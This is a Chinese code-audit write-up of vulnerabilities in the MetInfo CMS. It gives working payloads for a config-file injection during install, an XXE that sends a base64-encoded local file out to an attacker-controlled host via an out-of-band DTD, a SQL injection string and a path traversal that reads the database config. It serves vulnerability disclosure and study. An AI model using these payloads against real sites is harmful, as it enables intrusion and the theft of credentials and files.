MetInfo 最新版代码审计漏洞合集

本文作者:0x584A(信安之路作者团队成员)

最近想给 X 天贡献点插件,时常会去留意 seebug 的最新漏洞列表,发现最近 MetInfo 的漏洞上座率蛮高的,就挑它来代码审计了一波。

seebug 上均是 MetInfo 6.0.0 版本的,官方已更新至 6.1.0 上述问题是否修复了呢?

入口文件

这个框架的入口文件很多,都是 index.php,比如 online/index.php 文件:

<?php
define('M_NAME', 'online');
define('M_MODULE', 'web');
define('M_CLASS', 'online');
define('M_ACTION', 'do_online');
require_once'../app/system/entrance.php';

定义了四个常量,用于框架载入时区分入口来源、所属模块、调用类及方法,最后载入 entrance.php 调用里面的静态方法 load::module(); 加载所需模块。

通过查找 index.php 入口文件,找到可以达到前台大多数方法的文件:/member/index.php

<?php
$M_MODULE='web';
if(@$_GET['m'])$M_MODULE=$_GET['m'];
if(@!$_GET['n'])$_GET['n']="user";
if(@!$_GET['c'])$_GET['c']="profile";
if(@!$_GET['a'])$_GET['a']="doindex";
@define('M_NAME', $_GET['n']);
@define('M_MODULE', $M_MODULE);
@define('M_CLASS', $_GET['c']);
@define('M_ACTION', $_GET['a']);
require_once'../app/system/entrance.php';

可以看到,通过控制 $_GET 我们可以到达大多数方法。为什么是大多数呢? 因为无法直接控制 _load_class 加载系统类。

里面的 $action 必须要 do 开头,也就是调用的方法名必须要 do 开头。

低版本信息泄漏

在安装之前,我首先对比了一下两个版本的修改文件记录,发现上一个版本的 install 文件夹中存在一个 phpinfo.php 文件,里面就是一段 <?php phpinfo(); ?> 代码(6.1.0 版本中已删除)。

这就方便我们获取目标网站的绝对路径,后期不管是写shell还是存在文件读取的情况,可以快速定位及利用。

网上找到的实例:

安装时写getshell

前提条件:

想利用此处首先需要删除 config/install.lock 安装锁文件。

在安装过程中执行到 db_setup(3.数据库设置) 步骤时,发现存在配置文件任意更改的情况。

最近在看 《php 配置文件写入问题》

https://github.com/CHYbeta/Code-Audit-Challenges/blob/master/php/challenge-3.md)

一直想找机会将它写一篇文章刚好这个 CMS 给了我机会。

关键函数 fputs() 它是 fwrite() 函数的别名,用于文件写入。而且这里的逻辑也存在问题,应该将对文件的操作放在数据库连接判断后面。

当我们提交 payload 后:

setup=1&db_type=mysql&db_prefix=met_met"*/phpinfo();/*&db_host=localhost&db_name=met&db_username=root&db_pass=&cndata=yes&endata=yes&showdata=yes&submit=保存数据库设置并继续

虽然页面提示:数据库连接数据库失败,但 config/config_db.php 文件内容以及被该变了。

参数受到 64行 代码影响,'_COOKIE', '_POST', '_GET' 传递都会加上 addslashes() 函数,所以单/双引号会在前面加个反斜杠。

<?php
                  /*
                  con_db_host = "localhost"
                  con_db_port = "3306"
                  con_db_id   = "root"
                  con_db_pass= ""
                  con_db_name = "met"
                  tablepre   = "met_met\"*/phpinfo();/*"
                  db_charset = "utf8";
                 */
                 ?>

我们访问下看下:

实际上就是用 */ 去闭合最外层的 /* ,多行注释的优先级是很高的。

XXE漏洞

漏洞发生在此处文件:app/system/pay/web/pay.class.php,未禁外部实体加载:

测试下是否存在外部引用:

使用 XXEinjector 工具来验证漏洞,读取本地文件:

# x @ xdeMacBook-Pro in ~/work/tools/HackTools/xxe/XXEinjector on git:master x [19:42:19] C:1
$ cat /etc/networks
##
# Networks Database
##
loopback127loopback-net

# x @ xdeMacBook-Pro in ~/work/tools/HackTools/xxe/XXEinjector on git:master x [19:42:29]
$ cat phprequest.txt
POST /member/index.php?a=donotify&m=web&c=pay&n=pay HTTP/1.1
Host:cms777.com
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0
Accept:application/json, text/javascript, */*; q=0.01
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip, deflate
Content-Type:text/xml
Referer:http://cms777.com/\;
X-Requested-With:XMLHttpRequest
DNT:1
Connection:close
Pragma:no-cache
Cache-Control:no-cache
Content-Length:129

XXEINJECT
<data>4</data>

# x @ xdeMacBook-Pro in ~/work/tools/HackTools/xxe/XXEinjector on git:master x [19:42:34]
$ sudo ./XXEinjector.rb --host=192.168.31.21 --file=/Users/x/work/tools/HackTools/xxe/XXEinjector/phprequest.txt --path=/etc/networks --verbose --httpport=89 --oob=http --phpfilter
XXEinjector by Jakub Pałaczyński

Enumeration options:
"y" - enumerate currect file (default)
"n" - skip currect file
"a" - enumerate all files in currect directory
"s" - skip all files in currect directory
"q" - quit

[+]Sending request with malicious XML:
http://cms777.com:80/member/index.php?a=donotify&m=web&c=pay&n=pay
{"User-Agent"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept"=>"application/json, text/javascript, */*; q=0.01", "Accept-Language"=>"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding"=>"gzip, deflate", "Content-Type"=>"text/xml", "Referer"=>"http://cms777.com/\\;", "X-Requested-With"=>"XMLHttpRequest", "DNT"=>"1", "Connection"=>"close", "Pragma"=>"no-cache", "Cache-Control"=>"no-cache", "Content-Length"=>"118"}

<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.31.21:89/file.dtd">%remote;%int;%trick;]>
<data>4</data>

[+]Got request for XML:
GET /file.dtd HTTP/1.0

[+]Responding with XML for:/etc/networks
[+]XML payload sent:
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/networks">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://192.168.31.21:89/?p=%payl;'>">

[+]Response with file/directory content received:
GET /?p=IyMKIyBOZXR3b3JrcyBEYXRhYmFzZQojIwpsb29wYmFjawkxMjcJCWxvb3BiYWNrLW5ldAo=HTTP/1.0

[+]Retrieved data:
[+]Nothing else to do. Exiting.

IyMKIyBOZXR3b3JrcyBEYXRhYmFzZQojIwpsb29wYmFjawkxMjcJCWxvb3BiYWNrLW5ldAo= 的内容正好是 /etc/networks 文件内的内容。

对比 6.1.0 版本,此处未被修复,XXE 存在。

此处还存在一个 鸡助的SQL注入

当传递 XML 内容:

<data>
<out_trade_no>' and '1'='1</out_trade_no>
</data>

会进入 GetOeder() 方法:

if($array&&$array['out_trade_no']) {
   $date=$this->GetOeder($array['out_trade_no']);
   $this->doNotify_wxpay($date);
}

方法内部,$out_trade_no 变量直接拼接进了sql语句中:

publicfunctionGetOeder($out_trade_no) {
   global$_M;
   if($out_trade_no) {
       $query="SELECT * FROM {$_M['table']['pay_order']} WHERE out_trade_no='{$out_trade_no}' ";
       $array=DB::get_one($query);
       return$array;
  } else{
       returnFALSE;
  }
}

但是,利用的前提要满足 $_M['table']['pay_order'] 表存在,不然无法造成攻击:

然后,亲切问候一下:您忙,我吃柠檬,您开心就好!~

任意文件读取

我们全局正则搜索下 \$_GET|\$_POST,发现一处可疑的地方接收 $_GET['dir']

从图中的代码中可以看到,接收外部参数后,将文件读入缓存中后再用 flush() 函数刷新输出缓冲至浏览器。

但目录地址不能直接使用,需要进入 if 函数中去,而 $dir 变量中的字符串前4位必须要有 http

我赌一块钱,当初写这段代码的程序员是想加外链图片的显示。

当然我们传入 ./.../ 后,经过 str_replace 函数替换后会得到一个 . ,而单独的 / 是不会被过滤的,如此反复即可构造出突破限制的路径。

最终的 payload :

/member/index.php?a=doshow&m=include&c=old_thumb&dir=http/./.../..././/./.../..././/config/config_db.php

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-08-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏数据之美

玩转 Nginx 之:使用 Lua 扩展 Nginx 功能

1、Nginx 简介 Nginx 作为一款面向性能设计的HTTP服务器,相较于Apache、lighttpd具有占有内存少,稳定性高等优势。其流行度越来越高,应...

1.3K70
来自专栏腾讯NEXT学位

JavaScript Worker 另类玩法

14330
来自专栏林德熙的博客

WPF 使用RPC调用其他进程

如果在 WPF 需要用多进程通信,一个推荐的方法是 WCF ,因为 WCF 是 RPC 计算。先来讲下 RPC (Remote Procedure Call) ...

16810
来自专栏Java架构沉思录

AJAX 原理与 CORS 跨域

https://segmentfault.com/a/1190000011549088

26410
来自专栏阿杜的世界

【转】Dubbo架构设计详解总体架构核心要点参考资料

Dubbo是Alibaba开源的分布式服务框架,它最大的特点是按照分层的方式来架构,使用这种方式可以使各个层之间解耦合(或者最大限度地松耦合)。从服务模型的角度...

12550
来自专栏FreeBuf

Frida之Pin码破解实验

0×00前言 在网上搜了一些frida破解Pin码的文章,不动手写点代码总感觉理解不深入的念头又升起来了,于是决定找一个开源pin码,然后改一改再破解。 特别感...

39570
来自专栏周明礼的专栏

一步一步带你搭建一个“摩登”的前端开发环境

最近几年也陆续推出了多种不同的js类型系统用于增强js的健壮性,其中像 typescript 就是其中的佼佼者。当然我今天要讲的并不是typescript,而是...

1.5K00
来自专栏张善友的专栏

替换EnterPrise Library 4.0 缓存应用程序块的CacheManager

缓存是用来提高应用程序性能的常见技术,其实现方式是将常用数据从慢数据源复制到更快的数据源。对于数据驱动的应用程序来说,该技术通常需要将从数据库或 Web 服务检...

20270
来自专栏大内老A

关于WCF的一个非常“无语”的BUG!

这确实是一个让人觉得“无语”的BUG,甚至让我觉得微软在故意和我们开玩笑。这个问题在我刚刚接触WCF的时候就遇到过,换言之,这个问题一直存在于.NET 3.0、...

20970
来自专栏Java后端技术

解决eclipse中egit中的cannot open git-upload-pack问题

  今天在使用eclipse的egit插件进行检出远程代码到本地时,出现了cannot open git-upload-pack错误,后经过努力解决该问题,记录...

11010

扫码关注云+社区

领取腾讯云代金券